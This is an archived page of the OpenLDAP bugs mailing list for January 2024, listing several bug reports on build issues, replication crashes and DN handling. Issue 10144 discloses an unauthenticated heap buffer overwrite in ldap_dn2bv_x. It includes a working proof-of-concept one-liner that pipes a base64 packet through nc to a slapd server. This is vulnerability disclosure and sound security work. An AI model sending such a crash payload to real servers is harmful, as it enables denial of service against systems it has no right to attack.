openldap-bugs January 2024

openldap-bugs@openldap.org

1 participants
88 discussions

[Issue 10147] New: Bind dn is getting malformed inside ldap_sasl_bind function
by openldap-its＠openldap.org 30 Jan '24

30 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10147 Issue ID: 10147 Summary: Bind dn is getting malformed inside ldap_sasl_bind function Product: OpenLDAP Version: 2.6.3 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: satishkumar1728(a)gmail.com Target Milestone: --- Hi team, We are using open ldap version 2.6 in one of our application processes. We are using ldap_sasl_bind function defined in open ldap api to send bind request to ldap server. We are passing the dn name to the above function and it is parsing the dn name as expected. We have added some print statements inside ldap_sasl_bind function and it is printing the dn string that we passed to the function. Also, ldap_sasl_bind function will accept const char pointer to dn as an argument. So, it cannot modify the dn string inside the function. But somehow the bind dn is getting malformed and we are getting failed bind response from the ldap server (invalid DN). We did some analysis using tcpdump and we found out that the dn string that we passed to the ldap_sasl_bind function and the dn string from the tcpdump are different. We did some code walkthrough of ldap_sasl_bind function and it is observed that it is doing some ber encoding of dn name inside the function. We are suspecting that the encoding is not happening properly. Example dn that we passed to ldap_sasl_bin function: "uid=abc, ou=users, dc=fds, dc=mr" Dn name that was captured in tcpdump at source: "uid=abc, o dc= dc= dc= dc= dc=mr" Is there any specific reason for the bind DN to get malformed like this inside ldap_sasl_bind function. Do you have any observations like this in any scenario. Kindly provide some inputs to resolve this issue. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10142] New: lloadd's cn=config startup is broken
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10142 Issue ID: 10142 Summary: lloadd's cn=config startup is broken Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: lloadd Assignee: ondra(a)mistotebe.net Reporter: ondra(a)mistotebe.net Target Milestone: --- During startup, tiers aren't being linked into the `tiers` linked list. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10143] New: only use logfile in server mode
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10143 Issue ID: 10143 Summary: only use logfile in server mode Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Only slapd should be using the logfile, not the slap* tools. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10080] New: refreshAndPersist synchronization problem with glue + rwm
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10080 Issue ID: 10080 Summary: refreshAndPersist synchronization problem with glue + rwm Product: OpenLDAP Version: 2.6.2 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: homma(a)allworks.co.jp Target Milestone: --- Created attachment 972 --> https://bugs.openldap.org/attachment.cgi?id=972&action=edit Stack trace of segfault I have an openldap 2.6.2 server "ldap1" with the following DIT: dc=example,dc=com (back-mdb) ou=users ou=local cn=admin cn=sync ... ou=remote (back-ldap -> ldaps://dc1.example.com) ... Local user entries are created under subtree "ou=local,ou=users,dc=example,dc=com", and the subtree "ou=remote,ou=users,dc=example,dc=com" is a proxy to an Active Directory server "dc1.example.com" (subtree "ou=users,dc=ad,dc=example,dc=com"). The concrete configuration is as follows: ---------------- dn: olcDatabase={2}ldap,cn=config objectClass: olcDatabaseConfig objectClass: olcLDAPConfig olcDatabase: {2}ldap olcSuffix: ou=remote,ou=users,dc=example,dc=com olcSubordinate: TRUE olcRootDN: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcDbURI: ldaps://dc1.example.com olcDbIDAssertBind: bindmethod=simple binddn="cn=aduser,ou=users,dc=ad,dc=example,dc=com" credentials=secret tls_reqcert=demand mode=none olcDbIDAssertAuthzFrom: {0}dn.exact:gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcDbIDAssertAuthzFrom: {1}dn.exact:cn=admin,ou=local,ou=users,dc=example,dc=com dn: olcOverlay={0}rwm,olcDatabase={2}ldap,cn=config objectClass: olcOverlayConfig objectClass: olcRwmConfig olcOverlay: {0}rwm olcRwmRewrite: {0}rwm-suffixmassage "ou=users,dc=ad,dc=example,dc=com" olcRwmMap: {0}objectclass inetOrgPerson organizationalPerson olcRwmMap: {1}objectclass posixAccount user olcRwmMap: {2}attribute uid sAMAccountName olcRwmMap: {3}attribute homeDirectory unixHomeDirectory olcRwmMap: {4}attribute ou * olcRwmMap: {5}attribute cn * olcRwmMap: {6}attribute sn * olcRwmMap: {7}attribute givenName * olcRwmMap: {8}attribute mail * olcRwmMap: {9}attribute uidNumber * olcRwmMap: {10}attribute gidNumber * olcRwmMap: {11}attribute * dn: olcDatabase={3}mdb,cn=config objectClass: olcDatabaseConfig objectClass: olcMdbConfig olcDatabase: {3}mdb olcDbDirectory: /var/lib/ldap olcSuffix: dc=example,dc=com olcRootDN: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth olcAccess: {0}to * by dn.exact="cn=admin,ou=local,ou=users,dc=example,dc=com" write by dn.exact="cn=sync,ou=local,ou=users,dc=example,dc=com" write by * break olcAccess: {1}to attrs=userPassword by anonymous auth by self write by * none olcAccess: {2}to * by * read olcDbIndex: objectClass eq,pres olcDbIndex: ou,cn,mail,surname,givenname eq,pres,sub ---------------- So far, so good. A subtree search on "ou=users,dc=example,dc=com" returns both local and remote users. But when I create the second server "ldap2" with similar configuration and configure refreshAndPersist replication, I run into a problem. (1) When I configure on "ldap1" server, ---------------- dn: olcOverlay={0}syncprov,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcSyncProvConfig olcOverlay: {0}syncprov ---------------- and on "ldap2" server, ---------------- dn: olcDatabase={3}mdb,cn=config changeType: modify replace: olcSyncrepl olcSyncrepl: {0}rid=301 provider="ldap://ldap1/" bindmethod=simple binddn="cn=sync,ou=local,ou=users,dc=example,dc=com" credentials=secret searchbase="dc=example,dc=com" type=refreshAndPersist retry="5 12 60 +" timeout=1 ---------------- the initial refresh stage fails. (a) Whith the above configuration, the refresh failes with "(48) Inappropriate authentication", because the bind DN "cn=sync,ou=local,ou=users,dc=example,dc=com" does not have access to the subordinate database. (b) When I add "cn=sync,ou=local,ou=users,dc=example,dc=com" to the ID assertion list on "ldap1" server, ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify add: olcDbIDAssertAuthzFrom olcDbIDAssertAuthzFrom: {2}dn.exact:cn=sync,ou=local,ou=users,dc=example,dc=com ---------------- the refresh fails with "(12) Critical extension is unavailable", because Active Directory does not support Sync Request Control. (c) Even if the remote server supports Sync Request Control, the refresh fails with the message "server sent multiple refreshDone messages? Ending session". The refreshDone messages are sent twice, one for the sperior databese and the other for the subordinate database. (d) If I delete olcSubordinate attribute and restart slapd on "ldap1" server, ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify delete: olcSubordinate ---------------- then the refresh stage completes successfully. Once the persistent session is established, I can add olcSubordinate attribute again. ---------------- dn: olcDatabase={2}ldap,cn=config changeType: modify add: olcSubordinate olcSubordinate: TRUE ---------------- When I modify entries in the subordinate database on "ldap1" server, no change notification is sent to "ldap2" server. This is the desired behavior, but if I restart slapd on "ldap1" server, the refresh starts failing again. (2) When I configure the glue overlay explicitly before the syncprov overlay, as described in "man slapd-config", ---------------- dn: olcOverlay={0}glue,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcConfig olcOverlay: {0}glue dn: olcOverlay={1}syncprov,olcDatabase={3}mdb,cn=config objectClass: olcOverlayConfig objectClass: olcSyncProvConfig olcOverlay: {1}syncprov ---------------- the refresh stage completes successfully without attempting to search the subordinate database. This is fine because I do not need to synchronize the subordinate database between "ldap1" and "ldap2" servers. However, when I modify an entry in the subordinate database on "ldap1" server, slapd crashes by segmentation fault. See the attached file for stack trace. After some research, I found that the cause of the crash is as follows: In syncprov_matchops(), it attempts to get the modified entry with DN = op->o_req_ndn. But since op->o_req_ndn has been rewritten in the rmw overlay, glue_back_select() incorrectly selects the mdb backend, which should be the ldap backend. At this point, op->o_bd->be_private holds a value of type ldapinfo_t, but mdb_entry_get() tries to interpret it as type struct mdb_info, causing a segfault. In summary, the problem is: When I configure refreshAndPersist synchronization for a database with a subordinate ldap backend using DN rewriting, (1) The subordinate database cannot be excluded from both refresh and persistent stage of the synchronization: When the glue overlay is not explicitly configured: - In the refresh stage, the subordinate database is included in the search. - In the persist stage, the subordinate database is excluded from the synchronization. When the glue overlay is explicitly configured before the syncprov overlay: - In the refresh stage, the subordinate database is excluded from the search. - In the persist stage, the subordinate database is included in the synchronization. This seems to be inconsistent. (2) If the subordinate database is included in the refresh stage, the refresh fails for one of the following reasons: - the syncrepl user is not allowed to access the subordinate database - the remote server does not support Sync Request Control - multiple refreshDone messages are returned The refresh stage completes successfully if olcSubordinate attribute is deleted from the subordinate database. olcSubordinate attribute can be added again once the persistent session is established, but the refresh stage starts failing again if slapd is restarted. (3) If the subordinate database is included in the persist stage, modifying entries in the subordinate database causes slapd to crash. -- You are receiving this mail because: You are on the CC list for the issue.

1 23

[Issue 10098] New: contrib modules don't build on Windows
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10098 Issue ID: 10098 Summary: contrib modules don't build on Windows Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- Need a couple tweaks to the Makefiles. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10092] New: Local logging doesn't build on Windows
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10092 Issue ID: 10092 Summary: Local logging doesn't build on Windows Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: hyc(a)openldap.org Target Milestone: --- slapd/logging.c uses writev() to write a prefix and the log message together in one call. This feature doesn't exist on Windows. The closest equivalent, WriteFileGather, only works on page sized and aligned writes. On Windows the only way to write as desired is to copy the message into a new buffer first. -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10130] New: Several callers of getpassphrase() ignore NULL returns
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10130 Issue ID: 10130 Summary: Several callers of getpassphrase() ignore NULL returns Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: stacey.marshall(a)gmail.com Target Milestone: --- getpassphrase(3c) and lutil_getpass() can return NULL to signify EOF, and in the case of the former for an interrupt or an error. Several callers fail to check for NULL before calling other functions which may then cause other issues such as segmentation fault. A patch in progress treats NULL as EOF and provides an early exit. ``` $ git status --short -uno M clients/tools/common.c M clients/tools/ldappasswd.c M clients/tools/ldapvc.c M servers/slapd/slappasswd.c M tests/progs/slapd-tester.c ``` -- You are receiving this mail because: You are on the CC list for the issue.

1 12

[Issue 10129] New: lloadd.conf(5) manpage incorrect
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10129 Issue ID: 10129 Summary: lloadd.conf(5) manpage incorrect Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: ondra(a)mistotebe.net Target Milestone: --- keepalive, tcp-user-timeout and tls_* are available in the bindconf section but the manpage errorneously lists them as configurable on backend-server. -- You are receiving this mail because: You are on the CC list for the issue.

1 4

[Issue 10144] New: Buffer overwrite in ldap_dn2bv_x
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10144 Issue ID: 10144 Summary: Buffer overwrite in ldap_dn2bv_x Product: OpenLDAP Version: 2.6.6 Hardware: All OS: All Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: joshua(a)joshua.hu Target Milestone: --- Created attachment 995 --> https://bugs.openldap.org/attachment.cgi?id=995&action=edit ldap.c Hi there, While performing a security audit of openldap, I've discovered a buffer overwrite in the ldap_dn2bv_x function of libldap which can be triggered via an unauthenticated packet to slapd. The issue is specifically in this part oft he code: 3069 /* 3070 * trim the last ',' (the allocated memory 3071 * is one byte longer than required) 3072 */ 3073 bv->bv_len = len - 1; 3074 bv->bv_val[ bv->bv_len ] = '\0'; 'len' may be 0, therefore bv->bv_len becomes (unsigned long)-1 == 18446744073709551615, causing a one-byte buffer overwrite in bv->bv_len. It may be len when rdn2str returns 0: 3055 for ( l = 0, iRDN = 0; dn[ iRDN ]; iRDN++ ) { 3056 ber_len_t rdnl; 3057 3058 if ( rdn2str( dn[ iRDN ], &bv->bv_val[ l ], flags, 3059 &rdnl, sv2s ) ) { 3060 LDAP_FREEX( bv->bv_val, ctx ); 3061 bv->bv_val = NULL; 3062 goto return_results; 3063 } 3064 l += rdnl; 3065 } which it may do if 2571 static int 2572 rdn2str( LDAPRDN rdn, char *str, unsigned flags, ber_len_t *len, 2573 int ( *s2s ) ( struct berval *v, char * s, unsigned f, ber_len_t *l ) ) 2574 { 2575 int iAVA; 2576 ber_len_t l = 0; 2577 2578 for ( iAVA = 0; rdn[ iAVA ]; iAVA++ ) { [...] 2606 *len = l; 2607 2608 return( 0 ); 2609 } rdn[0] (i.e. dn[0][0]) is zero. There is already a check in ldap_dn2bv_x to ensure that there is not a null distinguished name, but no check for a null relative distinguished name: 3021 /* 3022 * a null dn means an empty dn string 3023 * FIXME: better raise an error? 3024 */ 3025 if ( dn == NULL || dn[0] == NULL ) { 3026 bv->bv_val = LDAP_STRDUPX( "", ctx ); 3027 return( LDAP_SUCCESS ); 3028 } This can be reproduced using the API and compiling with address sanitizer: clang -g -O0 -fsanitize=address -o ldap ldap.c -I/usr/local/include -L/usr/local/lib -Wl,-rpath=/usr/local/lib -lldap which crashes: ================================================================= ==2685861==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000004c0f at pc 0x7ffff7ecae9d bp 0x7fffffff7390 sp 0x7fffffff7388 WRITE of size 1 at 0x602000004c0f thread T0 #0 0x7ffff7ecae9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #3 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #4 0x7ffff7b25e3f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x29e3f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #5 0x555555572324 in _start (/home/jrogers/test+0x1e324) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) 0x602000004c0f is located 1 bytes to the left of 1-byte region [0x602000004c10,0x602000004c11) allocated by thread T0 here: #0 0x5555555f516e in malloc (/home/jrogers/test+0xa116e) (BuildId: 5207fff637c8f2edc46784bf828dc09fddd34d85) #1 0x7ffff7ae8303 in ber_memalloc_x /home/jrogers/openldap-clean/libraries/liblber/memory.c:228:9 #2 0x7ffff7eca968 in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3050:23 #3 0x7ffff7f30135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #4 0x55555563000f in main /home/jrogers/ldap2.c:19:14 #5 0x7ffff7b25d8f (/lib/x86_64-linux-gnu/libc.so.6+0x29d8f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) Alternatively you can send the following to a running slapd server: printf "MIIB5AIEMDAwMEqCATBPPTAwMDAwMDAwMDAwMDAwMDDvvrLvvrLvvrLvvrLvvrLvvrLvp7LvvrLvtrLvvrLvvrLvvrLvvrLvvrLvvrLvvrIsCgoKMi41LjQuMzk9MGswMDAGMDAwMDAwMAYxATEwMTAYGDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA4XDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMAMDMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA=" | base64 -d | nc localhost 389 which will exhibit the same behavior: ==1673381==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200004c14f at pc 0x7ffff7ec0e9d bp 0x7fffb40c6e70 sp 0x7fffb40c6e68 WRITE of size 1 at 0x60200004c14f thread T2 [Detaching after fork from child process 3777333] #0 0x7ffff7ec0e9c in ldap_dn2bv_x /home/jrogers/openldap-clean/libraries/libldap/getdn.c:3074:28 #1 0x7ffff7f26135 in ldap_X509dn2bv /home/jrogers/openldap-clean/libraries/libldap/tls2.c:1686:7 #2 0x555555820765 in dnX509normalize (/usr/local/libexec/slapd+0x2cc765) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #3 0x5555558e55a1 (/usr/local/libexec/slapd+0x3915a1) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #4 0x555555819d06 (/usr/local/libexec/slapd+0x2c5d06) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #5 0x5555558187b8 (/usr/local/libexec/slapd+0x2c47b8) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #6 0x55555581c6de in dnPrettyNormal (/usr/local/libexec/slapd+0x2c86de) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #7 0x555555835c95 in do_delete (/usr/local/libexec/slapd+0x2e1c95) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #8 0x5555557a8ef5 (/usr/local/libexec/slapd+0x254ef5) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #9 0x5555557a21f9 (/usr/local/libexec/slapd+0x24e1f9) (BuildId: 08ae5b20b8d2e527d77117f7cf2c8d26bd2a3707) #10 0x7ffff7f592c4 in ldap_int_thread_pool_wrapper /home/jrogers/openldap-clean/libraries/libldap/tpool.c:1059:3 #11 0x7ffff785eac2 (/lib/x86_64-linux-gnu/libc.so.6+0x94ac2) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) #12 0x7ffff78f065f (/lib/x86_64-linux-gnu/libc.so.6+0x12665f) (BuildId: 203de0ae33b53fee1578b117cb4123e85d0534f0) -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 10117] New: missing function declarations in slap-config.h
by openldap-its＠openldap.org 29 Jan '24

29 Jan '24

https://bugs.openldap.org/show_bug.cgi?id=10117 Issue ID: 10117 Summary: missing function declarations in slap-config.h Product: OpenLDAP Version: 2.6.6 Hardware: All OS: Windows Status: UNCONFIRMED Keywords: needs_review Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: mhardin(a)symas.com Target Milestone: --- Functions exported from slap-config.h need to be properly declared for Windows -- You are receiving this mail because: You are on the CC list for the issue.

1 6

← Newer
1
2
3
4
5
6
7
8
9
Older →

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

openldap-bugs January 2024